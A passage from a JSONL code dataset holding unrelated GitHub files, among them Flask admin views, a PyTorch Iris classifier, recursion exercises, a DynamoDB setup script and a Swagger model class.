'payments'\n","repo_name":"gadventures/gapipy","sub_path":"gapipy/resources/booking/transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"29196908367","text":"from decision_tree.base import DecisionTree\n\n\nclass ClassificationTree(DecisionTree):\n def __init__(\n self,\n is_target_categorical=True,\n max_depth=None,\n min_samples_split=None,\n min_information_gain=1e-10,\n max_categories=20,\n ):\n super().__init__(\n is_target_categorical,\n max_depth,\n min_samples_split,\n min_information_gain,\n max_categories,\n )\n","repo_name":"moseskimc/decision-tree","sub_path":"src/decision_tree/classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30023042254","text":"import boto3\ndef main():\n client= boto3.resource('dynamodb', region_name='us-east-1')\n\n table = client.create_table(\n TableName='AustGames',\n KeySchema=[\n {\n 'AttributeName': 'gid',\n 'KeyType': 'HASH' #Partition key\n },\n ],\n AttributeDefinitions=[\n\n {\n 'AttributeName': 'gid',\n 'AttributeType':'N'\n },\n\n\n ],\n ProvisionedThroughput={\n 'ReadCapacityUnits': 10,\n 'WriteCapacityUnits': 10\n }\n \n )\n\n # inserting data into dynamodb\n\n table=client.Table(\"AustGames\")\n\n response=table.put_item( Item={ 'gid':1, 'gname': \"Mario\", 'publisher':'nintando','rating': 20 , 'release_date' : '2001', 'genres': { 'info':\"\"}\n })\n\n response1=table.put_item( Item={ 'gid':2, 'gname': \"PubG\", 'publisher':'Tencent','rating': 200 , 'release_date' : '2019', 'genres': { 'info':\"\"}\n })\n response2=table.put_item( Item={ 'gid':3, 'gname': \"Fifa19\", 'publisher':'EA-Sports','rating': 20 , 'release_date' : '2019', 'genres': { 'info':\" \"}\n })\n\nif __name__=='__main__':\n main()\n","repo_name":"Austin306/AWS_Assignment","sub_path":"ques9.py","file_name":"ques9.py","file_ext":"py","file_size_in_byte":1165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35474270681","text":"from django.urls import path\r\nfrom . import views\r\n\r\napp_name = \"core_app\"\r\n\r\n\r\nurlpatterns = [\r\n path('', views.index, name='index'),\r\n path('about/', views.about, name='about'),\r\n path('contact/', views.contact, name='contact'),\r\n path('properties/', views.properties, name='list'),\r\n path('search/', views.properties, name='search'),\r\n path('post/', views.post_prop, name='post'),\r\n path(\"property//\", views.property_detail, name=\"property\"),\r\n path(\"inquiry/\", views.inquiry, name=\"inquiry\"),\r\n path(\"queries/\", views.queries, name=\"queries\"),\r\n]\r\n","repo_name":"teknathbh/realEstate","sub_path":"core_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71344442967","text":"from io import BytesIO\n\nimport pandas as pd\nfrom PIL import Image\n\nfrom airbnb_oslo.helpers.pytorch_helpers import show_images\n\n\ndef open_image(response):\n try:\n img = Image.open(BytesIO(response.content))\n except Exception:\n img = pd.NA\n return img\n\n\ndef main() -> None:\n listings_df = pd.read_pickle(\"../../data/clean/listings.pkl\")\n front_page_responses = pd.read_pickle(\"../../data/clean/front_page_responses.pkl\")\n cnn_pretrained_predictions = pd.read_pickle(\n \"../../data/clean/cnn_pretrained_predictions.pkl\"\n )\n\n response_price_df = (\n pd.merge(\n front_page_responses,\n listings_df[\"price\"],\n left_index=True,\n right_index=True,\n )\n .assign(\n cnn_pretrained_predictions=cnn_pretrained_predictions.groupby(\n cnn_pretrained_predictions.index\n ).mean()\n )\n .rename(columns={\"listing_url\": \"front_page_responses\"})\n .loc[lambda x: (x[\"price\"] > 0) & (x[\"price\"] < 80000)]\n .dropna()\n )\n\n response_price_df = response_price_df.assign(\n front_page_pictures=response_price_df[\"front_page_responses\"].apply(open_image)\n ).dropna()\n\n # SUBSECTION: Small Image with 2x2 Grid\n # choose random images from dataset\n sample_obs = response_price_df.sample(n=4)\n\n show_images(\n images=sample_obs[\"front_page_pictures\"],\n true_prices=sample_obs[\"price\"],\n predicted_prices=sample_obs[\"cnn_pretrained_predictions\"],\n figsize=(6, 6),\n nrows=2,\n ncols=2,\n save_path=\"../../term-paper/images/cnn_examples_small.png\",\n )\n\n # SUBSECTION: Medium Image with 2x4 Grid\n # choose random images from dataset\n sample_obs = response_price_df.sample(n=8)\n\n show_images(\n images=sample_obs[\"front_page_pictures\"],\n true_prices=sample_obs[\"price\"],\n predicted_prices=sample_obs[\"cnn_pretrained_predictions\"],\n figsize=(12, 6),\n nrows=2,\n ncols=4,\n save_path=\"../../term-paper/images/cnn_examples_medium.png\",\n )\n\n # SUBSECTION: Large Image with 4x4 Grid\n sample_obs = response_price_df.sample(n=16)\n\n show_images(\n images=sample_obs[\"front_page_pictures\"],\n true_prices=sample_obs[\"price\"],\n predicted_prices=sample_obs[\"cnn_pretrained_predictions\"],\n save_path=\"../../term-paper/images/cnn_examples.png\",\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"joel-beck/airbnb-oslo","sub_path":"airbnb_oslo/models/cnn_visualization.py","file_name":"cnn_visualization.py","file_ext":"py","file_size_in_byte":2482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21864054447","text":"# coding: utf-8\r\n# Sys\r\nimport json\r\nimport re\r\n\r\n# Other\r\nimport os_io.io_wrapper as iow\r\n\r\ndef _is_content_nums(string):\r\n pattern = '^\\d*?$'\r\n result = re.finditer(pattern, string)\r\n for match in result :\r\n s = match.group()\r\n return True\r\n return False\r\n\r\ndef read_file_and_purge_content(fname):\r\n \"\"\" Пока разбор только файлов субтитров\r\n \r\n Returns:\r\n Содержимое файла в чистом виде одной строкой\r\n \r\n Known Issues:\r\n Сокращения принимаются за коней предложения\r\n \"\"\"\r\n settings = {\r\n 'name': fname, \r\n 'howOpen': 'r', \r\n 'coding': 'cp866' }\r\n \r\n readed_lst = iow.file2list(settings)\r\n purged_lst = list()\r\n for at in readed_lst:\r\n at_copy = at.replace('\\r','')\r\n at_copy = at_copy.replace('\\n','')\r\n if at_copy:\r\n if not '-->' in at_copy:\r\n if not _is_content_nums(at_copy):\r\n at_copy = at_copy.replace('','')\r\n at_copy = at_copy.replace('','')\r\n purged_lst.append(at_copy)\r\n \r\n # Теперь нужно разить на предложения\r\n one_line = ' '.join(purged_lst)\r\n return one_line\r\n\r\ndef get_url_names():\r\n \"\"\" Получение ссылок на контент \r\n \r\n Returns:\r\n Здесь - список файлов формата *.str\r\n \"\"\"\r\n files = ['srts/Iron Man02x26.srt', 'srts/Iron1and8.srt']\r\n return files\r\n\r\ndef save_process_result(process_result):\r\n # Запаковали. Можно сохранятся\r\n to_file = [json.dumps(process_result, sort_keys=True, indent=2)]\r\n \r\n settings = {\r\n 'name': 'extracted_words.json', \r\n 'howOpen': 'w', \r\n 'coding': 'cp866' }\r\n \r\n iow.list2file(settings, to_file)","repo_name":"bezbukv/knowledges-maps-builder","sub_path":"research/models/srt_analyser/os_dal.py","file_name":"os_dal.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1040861122","text":"# coding: utf-8\n\n\"\"\"\n Wavefront REST API\n\n

    The Wavefront REST API enables you to interact with Wavefront servers using standard REST API tools. You can use the REST API to automate commonly executed operations such as automatically tagging sources.

    When you make REST API calls outside the Wavefront REST API documentation you must add the header \\\"Authorization: Bearer <<API-TOKEN>>\\\" to your HTTP requests.

    # noqa: E501\n\n OpenAPI spec version: v2\n Contact: chitimba@wavefront.com\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\n\nclass AccessControlListSimple(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'can_modify': 'list[str]',\n 'can_view': 'list[str]'\n }\n\n attribute_map = {\n 'can_modify': 'canModify',\n 'can_view': 'canView'\n }\n\n def __init__(self, can_modify=None, can_view=None): # noqa: E501\n \"\"\"AccessControlListSimple - a model defined in Swagger\"\"\" # noqa: E501\n\n self._can_modify = None\n self._can_view = None\n self.discriminator = None\n\n if can_modify is not None:\n self.can_modify = can_modify\n if can_view is not None:\n self.can_view = can_view\n\n @property\n def can_modify(self):\n \"\"\"Gets the can_modify of this AccessControlListSimple. # noqa: E501\n\n\n :return: The can_modify of this AccessControlListSimple. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._can_modify\n\n @can_modify.setter\n def can_modify(self, can_modify):\n \"\"\"Sets the can_modify of this AccessControlListSimple.\n\n\n :param can_modify: The can_modify of this AccessControlListSimple. # noqa: E501\n :type: list[str]\n \"\"\"\n\n self._can_modify = can_modify\n\n @property\n def can_view(self):\n \"\"\"Gets the can_view of this AccessControlListSimple. # noqa: E501\n\n\n :return: The can_view of this AccessControlListSimple. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._can_view\n\n @can_view.setter\n def can_view(self, can_view):\n \"\"\"Sets the can_view of this AccessControlListSimple.\n\n\n :param can_view: The can_view of this AccessControlListSimple. # noqa: E501\n :type: list[str]\n \"\"\"\n\n self._can_view = can_view\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(AccessControlListSimple, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, AccessControlListSimple):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","repo_name":"AlexJabbourLacework/python-client","sub_path":"wavefront_api_client/models/access_control_list_simple.py","file_name":"access_control_list_simple.py","file_ext":"py","file_size_in_byte":4289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"526202246","text":"# flask\nimport flask.ext.login\nfrom flask import request\nfrom flask.ext.login import login_required\nfrom flask import render_template\n\n# python\nimport json\nimport config\n\n# application\nfrom db import sanitation, delivery, user\nfrom auth_views import app\nimport auth.forms\nc_u = flask.ext.login.current_user\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n pass\n\n\n@app.route('/home/charts')\n@login_required\ndef chart():\n activities = user.get_user_stat(c_u.user_id)\n contract = user.get_user_contract(c_u.user_id)\n data = []\n if contract == 'P':\n aim = {'Cleaning': 15, 'Pest': 5, 'Temperature': 10}\n else:\n aim = {'Cleaning': 22, 'Pest': 8, 'Temperature': 25}\n for k, v in activities.items():\n data.append({\"stat\": k, \"value\": v, \"aim\": aim[k]})\n return json.dumps(data)\n\n\n@app.route(\"/home/notes\", methods=[\"GET\"])\n@login_required\ndef notes():\n a = request.args.get('a')\n if a:\n result = user.set_notes(c_u.user_id, a)\n return json.dumps({\"result\": result})\n else:\n notes = user.get_notes(c_u.user_id)\n if notes:\n return json.dumps(notes)\n else:\n return json.dumps(\"No notes to display\")\n\n\n@app.route(\"/home\")\n@login_required\ndef home():\n form = auth.forms.AlertForm()\n cleaningcount = sanitation.get_count_remaining_tasks(config.cleaning)\n pestcount = sanitation.get_count_remaining_tasks(config.pest)\n suppliers = delivery.get_todays_suppliers()\n context = {\"cleaningcount\": cleaningcount,\n \"pestcount\": pestcount,\n \"suppliers\": suppliers}\n return render_template('landingpage.html', form=form, **context)\n","repo_name":"sgrieve03/KitchenKontrol","sub_path":"views/home_views.py","file_name":"home_views.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71634404248","text":"#find all the subsequences of a given array\n'''\neg. arr = [3,1,2]\nans = [3] [3,1] [3,1,2] [1] [1,2] [2] [] [3,2]\nlists can be any order\n'''\n\n\n\nfrom typing import List\n\n\ndef get_subsequnce(i:int, ans: List, lst: List, ip: List) -> List:\n\n if i >= len(ip):\n print(lst)\n return\n\n #add the number to lst\n lst.append(ip[i])\n get_subsequnce(i+1, ans, lst, ip)\n\n #remove the number and call\n lst.pop()\n get_subsequnce(i+1, ans, lst, ip)\n\nget_subsequnce(0, [], [], [3,1,2])\n\n\n#time complexity analysis\n\n\"\"\"\nfor every function call we are calling out 2 new recusions\nso for n functions it would be 2^n\n\n\"\"\"\nprint(\"======================================================\")\n\n#all Subsequence with sum equals to k\n'''\neg. arr = [3,1,2] k = 3\nans = [3] [1,2]\nlists can be any order\n'''\n\ndef get_subsequence_sum(i: int, inp: List, ans: List, k: int) -> None:\n\n if i >= len(inp):\n if sum(ans) == k:\n print(ans)\n return\n\n ans.append(inp[i])\n get_subsequence_sum(i+1, inp, ans, k)\n\n ans.pop()\n get_subsequence_sum(i+1, inp, ans, k)\n\nget_subsequence_sum(0,[3,1,2],[],3)\n\n\n#subsequence sum equals to k print/return only first matching subsequence\n\"\"\"\neg. arr = [3,1,2] k = 3\nmatching subsequences = [3] [1,2]\nans = [3]\n\"\"\"\n\ndef first_subsequnce_sum(i:int, inp: List, ans: List, k=int):\n \n if i >= len(inp):\n if sum(ans) == k:\n print(ans)\n return True\n else:\n return False\n\n ans.append(inp[i])\n if first_subsequnce_sum(i+1, inp, ans, k):\n return True\n ans.pop()\n if first_subsequnce_sum(i+1, inp, ans, k):\n return True\n\nprint(\"////////////////////////////////////////////////////////\")\n\nprint(first_subsequnce_sum(0,[3,1,2], [], 3))\nprint(\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\")\n\n\n#count of subsequence sum equals to k print/return only first matching subsequence\n\n\"\"\"\nCOUNTS ARE USEFUL IN DP\neg. arr = [3,1,2] k = 3\nmatching subsequences = [3] [1,2]\nans = 2\n\nhere to optimize we will calculate the sum while recursing\n\"\"\"\n\ndef count_subsequence_sum_k(i:int, inp: List, k, su:int) -> int:\n\n if i >= len(inp):\n if su == k:\n return 1\n else:\n return 0\n\n su += inp[i]\n first = count_subsequence_sum_k(i+1, inp, k, su)\n\n su -= inp[i]\n second = count_subsequence_sum_k(i+1, inp, k, su) \n\n return first + second \n\n\nans = count_subsequence_sum_k(0,[3,1,2], 3, 0)\nprint(ans)\n\n","repo_name":"GammaWind/dsa","sub_path":"new/recursion/subsequences.py","file_name":"subsequences.py","file_ext":"py","file_size_in_byte":2473,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"2538454141","text":"\"\"\"\nModule containing the necessary classes and functions to build a CART Decision Tree.\n\"\"\"\n\nfrom utilities.utils import class_counts\nfrom utilities.math import find_best_split, partition\n\nclass Leaf:\n \"\"\"\n A leaf node classifies data.\n\n It holds a dictionary of class -> number of times it appears in the rows \n from the training data that reached the leaf.\n \"\"\"\n\n\nclass DecisionNode:\n \"\"\"\n A decision node asks a question.\n\n It holds a reference to a question and to the two child nodes.\n \"\"\"\n \n\ndef build_tree(rows, headers):\n \"\"\"\n Builds the tree following this rules:\n 1. Believe that it works.\n 2. Start by checking for the base case (no further info gain).\n 3. Prepare for giant stack traces.\n \"\"\"\n \n\ndef classify(row, node):\n \"\"\" Classify a given input on a given tree. \"\"\"\n \n\ndef print_tree(node, spacing=\"\"):\n \"\"\" Print the tree to the standard output. \"\"\"\n # base case: we've reached a leaf.\n if isinstance(node, Leaf):\n print(spacing + \"Predict\", node.predictions)\n return\n # print the question at the current node\n print(spacing + str(node.question))\n # call this function recursively on the true and false branches\n print(spacing + \"--> True:\")\n print_tree(node.true_branch, spacing + \" \")\n print(spacing + \"--> False:\")\n print_tree(node.false_branch, spacing + \" \")\n\ndef print_leaf(counts):\n \"\"\" A nicer way to print the predictions at a leaf. \"\"\"\n total = sum(counts.values()) * 1.0\n probs = {}\n for lbl in counts.keys():\n probs[lbl] = str(int(counts[lbl] / total * 100)) + '%'\n return probs\n","repo_name":"mmorenoc2/ST0245-Eafit","sub_path":"proyecto/codigo/python/decision_tree.py","file_name":"decision_tree.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37036463967","text":"import apportionment.methods as app\n\n\"\"\"\nDominik's remark:\nIt is actually not without loss of generality to focus just on ties that still appear in the end.\nHere is an example: votes = [720, 720, 120, 120], house size h = 8. Then the quota method selects\nexactly the following: 3 seats go to each of the big parties, and then choose 1 big party and 1\nsmall party and give those a seat each. This last structure can't be captured by ties just at the\nend. (In contrast, for divisor methods, the ties are always of the form \"assign necessary seats\n(say there are t of them), and then choose an arbitrary subset of size h - t from a specified\nset S of parties\".)\n\"\"\"\n\nvotes = [720, 720, 120, 120]\nseats = 8\n\nprint(\"votes: \", votes)\nprint(seats, \"seats\")\n\nresult = app.compute(\"quota\", votes, seats, verbose=True)\n","repo_name":"martinlackner/apportionment","sub_path":"examples/quota-ties.py","file_name":"quota-ties.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"31"} +{"seq_id":"36917797479","text":"#!/usr/bin/python\n\nimport numpy as np\n\nfrom lazyflow.graph import Graph, InputSlot, OutputSlot\nfrom lazyflow.operator import Operator\n\nclass OpTest(Operator):\n A = InputSlot()\n B = OutputSlot()\n \n def __init__(self, *args, **kwargs):\n super(OpTest, self).__init__(*args, **kwargs)\n self.B.connect(self.A)\n \n def propagateDirty(self, slot, subindex, roi):\n pass\n\nif __name__ == \"__main__\":\n \n op = OpTest(graph=Graph())\n \n print(\"Test 1:\")\n op.A.setValue(np.zeros((3,3)))\n out = op.B[...].wait()\n print(out)\n \n print(\"Test 2:\")\n op.A.setValue([[0,0],[1,1]])\n out = op.B[...].wait()\n print(out)\n \n","repo_name":"burgerdev/turbo-dangerzone","sub_path":"opaque_ops.py","file_name":"opaque_ops.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15860039006","text":"def egg_carton_box(eggs): \n \"\"\"\n int -> list\n\n returns a list with integers, each of which represents number \n of eggs in each box\n >>> egg_carton_box(12) # дві коробки по 6 яєць\n [6, 6]\n >>> egg_carton_box(28) # три коробки по 10 яєць. Варіант з двома коробками по 10 та двома по 4 відкидається бо це 4 коробки\n [10, 10, 10]\n >>> egg_carton_box(24) # дві коробки по 10 яєць та одна коробка на 4\n [4, 10, 10] \n \"\"\" \n four_num = [1, 2, 3, 4, 13, 14, 23, 24]\n six_num = [5, 6, 11, 12, 15, 16, 21, 22, 25, 26]\n main = []\n while (eggs > 0):\n if eggs in four_num:\n main.append(4)\n eggs -= 4\n elif eggs in six_num:\n main.append(6)\n eggs -= 6\n else:\n main.append(10)\n eggs -= 10\n return sorted(main)\n","repo_name":"maxymkuz/cs_first_semester","sub_path":"lection5/egg_carton_box.py","file_name":"egg_carton_box.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27894151959","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nimport datetime\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt\nfrom torch.optim.lr_scheduler import StepLR\nimport numpy as np\n\ntrainingSeed = 2\nshuffleLabel = 1 # shuffle the training set label to make random weights.\nsave = 0\nshowFig = 0\nprint('training seed: %d' % trainingSeed)\ntorch.manual_seed(trainingSeed)\nnp.random.seed(0) # fix the train_test_split output.\n\niteration = 1000\n\nclass Net(nn.Module):\n # define nn\n def __init__(self):\n super(Net, self).__init__()\n num1, num2 = 8, 8\n self.fc1 = nn.Linear(4, num1)\n self.fc2 = nn.Linear(num1, num2)\n self.fc3 = nn.Linear(num2, 3)\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, X):\n X = F.relu(self.fc1(X))\n X = self.fc2(X)\n X = self.fc3(X)\n X = self.softmax(X)\n\n return X\n \n# load IRIS dataset\ndataset = pd.read_csv('data/iris.csv')\n\n# transform species to numerics\ndataset.loc[dataset.species=='Iris-setosa', 'species'] = 0\ndataset.loc[dataset.species=='Iris-versicolor', 'species'] = 1\ndataset.loc[dataset.species=='Iris-virginica', 'species'] = 2\n\n\ntrain_X, test_X, train_y, test_y = train_test_split(dataset[dataset.columns[0:4]].values,\n dataset.species.values, test_size=0.3333)\n\ntrain_X = torch.Tensor(train_X)\ntest_X = torch.Tensor(test_X)\ntrain_y = torch.Tensor(train_y).long()\ntest_y = torch.Tensor(test_y).long()\ntestsize = train_y.shape[0]\n\ncriterion = nn.CrossEntropyLoss()# cross entropy loss\n\nnow = datetime.datetime.now()\naccuracy, weight = [], []\nfor iteration in range(iteration):\n if shuffleLabel:\n train_y = train_y[torch.randperm(testsize)]\n if iteration % 1000 == 0:\n print('iter %d' % iteration)\n net = Net()\n if showFig:\n loss_train = []\n \n net.train()\n optimizer = torch.optim.SGD(net.parameters(), lr=1)\n scheduler = StepLR(optimizer, step_size=1, gamma=0.97)\n for epoch in range(100):\n optimizer.zero_grad()\n out = net(train_X)\n loss = criterion(out, train_y)\n loss.backward()\n optimizer.step()\n scheduler.step()\n if showFig:\n loss_train.append(loss)\n \n net.eval()\n predict_out = net(test_X)\n _, predict_y = torch.max(predict_out, 1)\n acc = accuracy_score(test_y.data, predict_y.data)\n# if acc == 0:\n# print(torch.stack([test_y, predict_y], dim=1))\n accuracy.append(acc)\n weightlist = [net.state_dict()['fc1.weight'].view(1, -1).squeeze(),\n net.state_dict()['fc1.bias'],\n net.state_dict()['fc2.weight'].view(1, -1).squeeze(),\n net.state_dict()['fc2.bias'],\n net.state_dict()['fc3.weight'].view(1, -1).squeeze(),\n net.state_dict()['fc3.bias']\n ]\n catweight = torch.cat(weightlist, dim=0)\n weight.append(catweight)\n\nif showFig:\n fig, ax = plt.subplots(1, 1, figsize=(7,7))\n ax.plot(loss_train, '-', color='forestgreen')\n plt.tight_layout()\n\nprint('avg accuracy: %.3f +- %.3f' % (sum(accuracy)/len(accuracy), np.std(accuracy)))\nallAcc = torch.FloatTensor(accuracy)\nallWeight = torch.stack(weight, dim=0)\nif shuffleLabel:\n name1 = 'data/irisShuffleAcc_%d.pt' % trainingSeed\n name2 = 'data/irisShuffleWeight_%d.pt' % trainingSeed\nelse:\n name1 = 'data/irisAcc_%d.pt' % trainingSeed\n name2 = 'data/irisWeight_%d.pt' % trainingSeed\nif save:\n torch.save(allAcc, name1)\n torch.save(allWeight, name2)\n\nprint('finished in %d seconds.' % (datetime.datetime.now()-now).seconds)\n","repo_name":"sevenquarkoniums/WeightClassification","sub_path":"irisExample.py","file_name":"irisExample.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24545204348","text":"# 个人中心\n\nimport time\nfrom datetime import datetime, timedelta\n\nfrom flask import render_template, request, current_app, jsonify, session, redirect, url_for, g, abort\n\nfrom info import db\nfrom info.modules.admin import admin_blu\nfrom info.utils.common import file_upload\nfrom info.utils.constants import ADMIN_USER_PAGE_MAX_COUNT, ADMIN_NEWS_PAGE_MAX_COUNT, QINIU_DOMIN_PREFIX\nfrom info.utils.models import User, News, Category\nfrom info.utils.response_code import RET, error_map\n\n\n# 后台登录页\n@admin_blu.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method == \"GET\":\n\n user_id = session.get(\"user_id\")\n is_admin = session.get(\"is_admin\")\n if user_id and is_admin:\n return redirect(url_for(\"admin.index\"))\n\n return render_template(\"admin/login.html\")\n\n # post\n # 获取参数\n username = request.form.get(\"username\")\n password = request.form.get(\"password\")\n\n # 校验参数\n if not all([username, password]):\n current_app.logger.error(\"参数不足\")\n return render_template(\"admin/login.html\", errmsg=\"参数不足\")\n\n try:\n user = User.query.filter(User.mobile == username, User.is_admin == True).first()\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.DBERR, errmsg=error_map[RET.DBERR])\n\n if not user:\n return render_template(\"admin/login.html\", errmsg=\"管理员不存在\")\n\n if not user.check_password(password):\n return render_template(\"admin/login.html\", errmsg=\"密码错误\")\n\n # 保存session 数据,实现免密码登录\n session[\"user_id\"] = user.id\n session[\"is_admin\"] = True\n\n return redirect(url_for(\"admin.index\"))\n\n\n# 后台首页\n@admin_blu.route(\"/index\")\ndef index():\n # user_id = session.get(\"user_id\")\n # try:\n # user = User.query.filter_by(id=user_id).first()\n # except BaseException as e:\n # current_app.logger.error(e)\n # return jsonify(errno=RET.DBERR, errmsg=error_map[RET.DBERR])\n # return render_template(\"admin/index.html\", user=user.to_dict())\n return render_template(\"admin/index.html\", user=g.user.to_dict())\n\n\n# 后台退出\n@admin_blu.route('/logout')\ndef logout():\n # 删除session 数据\n session.pop(\"user_id\", None)\n session.pop(\"is_admin\", None)\n\n # 重定向到后台登录\n return redirect(url_for(\"admin.login\"))\n\n\n# 后台用户统计\n@admin_blu.route(\"/user_count\")\ndef user_count():\n # 用户总人数\n try:\n total_count = User.query.filter(User.is_admin == False).count()\n except BaseException as e:\n current_app.logger.error(e)\n total_count = 0\n\n # 月新增人数 注册时间 >= 本月1号0点\n # 获取当前时间的年和月\n t = time.localtime()\n\n # 构建日期字符串 2019-01-04\n mon_date_str = \"%d-%02d-01\" % (t.tm_year, t.tm_mon)\n\n # 转换为日期对象\n mon_date = datetime.strptime(mon_date_str, \"%Y-%m-%d\")\n\n try:\n mon_count = User.query.filter(User.is_admin == False, User.create_time >= mon_date).count()\n except BaseException as e:\n current_app.logger.error(e)\n mon_count = 0\n\n # 日新增人数\n # 构建日期字符串 2019-01-04\n day_date_str = \"%d-%02d-%02d\" % (t.tm_year, t.tm_mon, t.tm_mday)\n day_date = datetime.strptime(day_date_str, \"%Y-%m-%d\")\n try:\n day_count = User.query.filter(User.is_admin == False, User.create_time >= day_date).count()\n except BaseException as e:\n current_app.logger.error(e)\n day_count = 0\n\n # 某日的注册人数 注册时间 >= 当日0点, < 次日0点\n active_count = []\n active_time = []\n\n for i in range(0, 30):\n begin_date = day_date - timedelta(days=i) # 当日0点\n end_date = begin_date + timedelta(days=1) # 次日0点\n\n try:\n one_day_count = User.query.filter(User.is_admin == False, User.create_time >= begin_date,\n User.create_time < end_date).count()\n\n active_count.append(one_day_count) # 存放日期对应的注册人数\n\n # 将日期对象转为日期字符串\n one_day_str = begin_date.strftime(\"%Y-%m-%d\")\n active_time.append(one_day_str) # 存放日期字符串\n\n except BaseException as e:\n current_app.logger.error(e)\n one_day_count = 0\n\n # 日期和注册量倒序\n active_time.reverse()\n active_count.reverse()\n\n data = {\n \"total_count\": total_count,\n \"mon_count\": mon_count,\n \"day_count\": day_count,\n \"active_count\": active_count,\n \"active_time\": active_time\n }\n\n return render_template(\"admin/user_count.html\", data=data)\n\n\n# 后台用户列表\n@admin_blu.route('/user_list')\ndef user_list():\n p = request.args.get(\"p\", 1) # 页数\n # 校验参数\n try:\n p = int(p)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n # 查询当前用户发布的新闻发布时间倒序,分页查询\n try:\n pn = User.query.order_by(User.last_login.desc()).paginate(p, ADMIN_USER_PAGE_MAX_COUNT)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.DBERR, errmsg=error_map[RET.DBERR])\n\n data = {\n \"user_list\": [user.to_admin_dict() for user in pn.items],\n \"total_page\": pn.pages,\n \"cur_page\": pn.page\n\n } # 注意要传递的数据是否正确\n\n return render_template(\"admin/user_list.html\", data=data)\n\n\n# 后台新闻审核\n@admin_blu.route('/news_review')\ndef news_review():\n p = request.args.get(\"p\", 1) # 页数\n keyword = request.args.get(\"keyword\") # 关键字搜索\n # 校验参数\n try:\n p = int(p)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.PARAMERR, errmsg=error_map[RET.PARAMERR])\n\n filter_list = []\n if keyword:\n filter_list.append(News.title.contains(keyword))\n # 查询当前用户发布的新闻发布时间倒序,分页查询\n try:\n pn = News.query.filter(*filter_list).order_by(News.create_time.desc()).paginate(p, ADMIN_NEWS_PAGE_MAX_COUNT)\n except BaseException as e:\n current_app.logger.error(e)\n return jsonify(errno=RET.DBERR, errmsg=error_map[RET.DBERR])\n\n data = {\n \"news_list\": [news.to_review_dict() for news in pn.items],\n \"total_page\": pn.pages,\n \"cur_page\": pn.page\n\n } # 注意要传递的数据是否正确\n\n return render_template(\"admin/news_review.html\", 